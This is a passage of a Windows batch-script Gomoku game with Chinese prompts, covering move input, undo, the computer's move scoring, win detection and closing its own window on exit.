endlocal&goto :restart
:men
(
set/a .=lips-1&for /f "tokens=1-3" %%b in ("li!liph! !lips! !.!") do (set %%b=!%%b:~0,%%d!%hou%!%%b:~%%c!)
set li38=!li38![%悔:~,24%]
cls
for /l %%a in (0,1,39) do (echo !li%%a!)
for /f "tokens=1-3" %%b in ("li!liph! !lips! !.!") do (set %%b=!%%b:~0,%%d!%zhi%!%%b:~%%c!)
set li38=%li38%
set /p user=!say:say=%error%! [列前,行后]:
if "!user!" equ "reboot" endlocal&goto :restart
if "!user!" equ "exit" goto :quit
if "!user!" equ "back" call :悔&goto :men
set/a pos=!user:~0,1!,poh=!user:~1,2!,var=pos-1 2>nul
if not defined [!poh!.!pos! set error=输入点不存在 &goto :men
)
if "!he%poh%:~%var%,1!" neq "#" set error=该点已经有子 &goto men
goto :getok
:get
set `=
::取最佳的走法
for /l %%z in (!.!,-1,1) do (
for /f "tokens=1,2,3 delims=." %%1 in ("!put%%z!") do (
for /f "tokens=1-4" %%a in ("%%1 %%2") do (
set iqm=%%3
set vara=!%%a%%b:*%%c=!srqponmlkjihgfedcba0
for %%4 in (!%%2:-^=;!) do (
if "%%4" equ "W" (set/a iqm=iqm/5*3) else (
set/a var=!vara:~19,1!+%%4
if "%%a" equ "he" (set/a poh=%%b,pos=20-var)
if "%%a" equ "sh" (set/a poh=20-var,pos=%%b)
if %%b lss 19 (set/a var=%%b-var+1) else (set/a var=38-%%b-var+1)
if "%%a" equ "pi" (if %%b lss 19 (set/a pos=var,poh=%%b-var+1) else (set/a poh=20-var,pos=%%b-19+var))
if "%%a" equ "ni" (if %%b lss 19 (set/a pos=var,poh=19-%%b+var) else (set/a poh=var,pos=%%b-19+var))
if not defined R!pos!R!poh!R set /a `+=1&set ram!`!=R!pos!R!poh!R
set/a R!pos!R!poh!R+=iqm
)
)
)
)
)
set rmk=0
for /l %%a in (1,1,!`!) do (
for %%b in (!ram%%a!) do (
for %%c in (!%%b!) do (
if %%c gtr !rmk! set/a rmk=%%c,.=0
if %%c equ !rmk! set rmz!.!=%%b&set/a .+=1
)
) )
set/a .=!random!%%.
for /f "tokens=1,2 delims=R" %%a in ("!rmz%.%!") do (set/a pos=%%a,poh=%%b)
rem start set r^&echo !.!^&pause^&exit
endlocal&set/a pos=%pos%,poh=%poh%
set say=say !z%pos%!!z%poh%!(%poh%)&set error=电脑最后下在:
:getok
set zhi=!%zhi%!&set win=!zhi!!zhi!!zhi!!zhi!!zhi!
(set/a piph=poh+pos-1,lips=pos*2+1,niph=19+pos-poh,liph=poh*2-1
if !piph! lss 19 (set/a pips=pos) else (set/a pips=20-poh)
if !niph! lss 19 (set/a nips=pos) else (set/a nips=poh)
for %%a in ("li!liph! !lips!" "he!poh! !pos!" "sh!pos! !poh!" "pi!piph! !pips!" "ni!niph! !nips!") do (
for /f "tokens=1,2" %%b in (%%a) do (
set/a .=%%c-1
for %%d in (!.!) do (set %%b=!%%b:~0,%%d!%zhi%!%%b:~%%c!)
if "!%%b:%win%=!" neq "!%%b!" set win=y
)
))
(set/a asc%zhi%+=1
set 悔= !z%pos%!!z%poh%!!悔!
if !win! neq y goto :loop)
for /l %%a in (0,1,39) do (echo !li%%a!)
set/p= !a%zhi%! %zhi%子 第!asc%zhi%!手 !z%pos%!!z%poh%!(%poh%) 胜出 <nul
pause
endlocal&goto :restart
:悔
if not defined 悔 goto :eof
if "!悔:~6,1!" equ "" goto :eof
for %%a in (!悔:~^,6!) do (set str=%%a
set/a poh=!str:~-1!,pos=!str:~,1!
set/a piph=poh+pos-1,niph=19+pos-poh,liph=poh*2-1,lips=pos*2+1
if !piph! lss 19 (set/a pips=pos) else (set/a pips=20-poh)
if !niph! lss 19 (set/a nips=pos) else (set/a nips=poh)
for %%a in ( "he!poh! !pos!" "sh!pos! !poh!" "pi!piph! !pips!" "ni!niph! !nips!") do (
for /f "tokens=1,2" %%b in (%%a) do (
set/a .=%%c-1
for %%d in (!.!) do (set %%b=!%%b:~0,%%d!#!%%b:~%%c!)
)
)
for /f "tokens=1,2" %%b in ("li!liph! !lips!") do (
set/a .=%%c-1
for %%d in (!.!) do (set %%b=!%%b:~0,%%d!┼!%%b:~%%c!)
))
set/a asc%zhi%-=1
set 悔=!悔:~6!
set error=你悔棋,耍赖皮!
if not defined 悔 goto :eof
set/a poh=!悔:~2,1!,pos=!悔:~1,1!,liph=poh*2-1,lips=pos*2+1
set say=say !z%pos%!!z%poh%!(%poh%)
goto :eof
:quit
taskkill /fi "WINDOWTITLE eq 批处理五子棋*" /im cmd.exe
以上是关于批处理参数详解的主要内容,如果未能解决你的问题,请参考以下文章